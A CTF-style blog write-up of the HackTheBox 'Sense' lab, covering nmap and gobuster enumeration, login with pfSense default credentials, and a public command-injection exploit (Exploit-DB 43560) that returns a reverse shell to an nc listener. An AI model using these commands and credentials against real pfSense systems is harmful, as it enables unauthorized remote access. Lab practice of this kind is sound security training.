Writeup: HackTheBox Sense - Without Metasploit (OSCP Prep)
Tags: cybersecurity, python, hackthebox, webdev
Published: 2021-08-17 18:59:20

Hello there!

I just finished doing Sense from Hackthebox and sharing my writeup.

First thing is first, lets start with Nmap!

##Command:
**nmap -sC -sV -T4 -oN nmap.txt 10.10.10.60**
1. -sC = Default Scripts
2. -sV = Probe open ports to determine service/Versions info
3. -T4 = Set timing for faster output (0-5)
4. -oN = Output to save it to a file

![Alt Text](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/qz27aom9osv4rdmsja6p.PNG)

**Ports Open**
80 TCP HTTP lighttp 1.4.35, is an open-source web server optimized for speed-critical environments while remaining standards-compliant secure and flexible.
443 TCP SSL/HTTPs?

##Command:
**nmap --script vuln -oN vuln.txt 10.10.10.60**

![Alt Text](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/wr6nqa4a159h9zy0qqed.PNG)

After running this command I get a few options for Vulnerabilities. But a MITM and/or Information Disclosure is of little use to us here.

Let's head over to the site.

![Alt Text](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/cqyqi1n307udkgtemrp0.PNG)

Now select **Accept**.

![Alt Text](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/dwx7uhwn3cugcuddgnm7.PNG)

This will bring up a login page.
I tried a few different default options but it didn't allow me to gain access to the site. 

![Alt Text](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/hrxjmoo4sf0c5ukm33f2.PNG)

Now I am going to try and run **Gobuster**..

##Command:
**gobuster dir -u https://10.10.10.60 -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -e -x txt -k > gobuster**

![Alt Text](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/9btka1uqujokwih9f013.PNG)

This will take some time, but after some time you should get the following response back from the search.

![Alt Text](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/myovbgmt2584j8c1g5fk.PNG)

I am going to check out the **.txt** files first.

![Alt Text](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/o9w2c37dc487yvb0no6y.PNG)

So let's head over to Google to see if we can find any default creds.

After some searching I come across the following.

![Alt Text](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/8tzai5sw17756w82sdub.PNG)

**admin:pfsense**

And the username we found above is **Rohit**.

Afternoon some playing around I noticed that if you switched the case's you will be able to get in.

![Alt Text](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/wtjwh1b95bgdlc3mjs2n.PNG)

After we get in  we are able to get some additional information on the underlying services.

##Version:
**2.1.3-Release(amd64) FreeBSD 8-3-Release**
**root@pf2_1_1_amd64.pfsense.org**

![Alt Text](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/aultkcpt0mqg2jzhwwdf.PNG)

With the information that we were able to get from the login window we are able to use this to head over to Google for some more enumerating.

After some searching I come across the following site.

![Alt Text](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/7ab4f4c948lsw8dcffpy.PNG)

This looks very promising! This is a Command Injection Vulnerability. 

When scrolling down into the code base it looks like you only need a few items to get the ball rolling on this one.

##Options:
**rhost**
**lhost**
**lport**
**username**
**password**

Something I like to do is to check if its already on Kali. Why download something if the exploit is already here?

##Command:
**searchsploit pfsense**

Now look for that tag number **43560**.

![Alt Text](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/v2pm4xt3sdp3b0rxvmv4.PNG)

##Command:
**locate php/webapps/43560.py**
**cp /usr/share/exploitdb/exploits/php/webapps/43560.py .**

![Alt Text](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/o9ybj9wzkl5vrqtwyqcp.PNG)

##Command:
**chmod +x 43560.py**

![Alt Text](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/xol5yugxojd1iwnk2qt6.PNG)

Now let's run this bad boy!

##Command:
**python3 43560.py --rhost 10.10.10.60 --lhost 10.10.14.7 --lport 1234 --username rohit --password pfsense**

![Alt Text](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/py4s54ypikaxcht4b5t8.PNG)

##Command: 
**nc -nvlp 1234**

![Alt Text](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/9e505w5ympz7umucvpmi.PNG)

##Command:
**whoami**

![Alt Text](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/4x8jslpvz31f3d54jd23.PNG)

Now let's get the **Flags**!

![Alt Text](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/33wlzvajqkjr2qdiwf1e.PNG)

![Alt Text](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/sv7bwz8z56ijr323dxgq.PNG)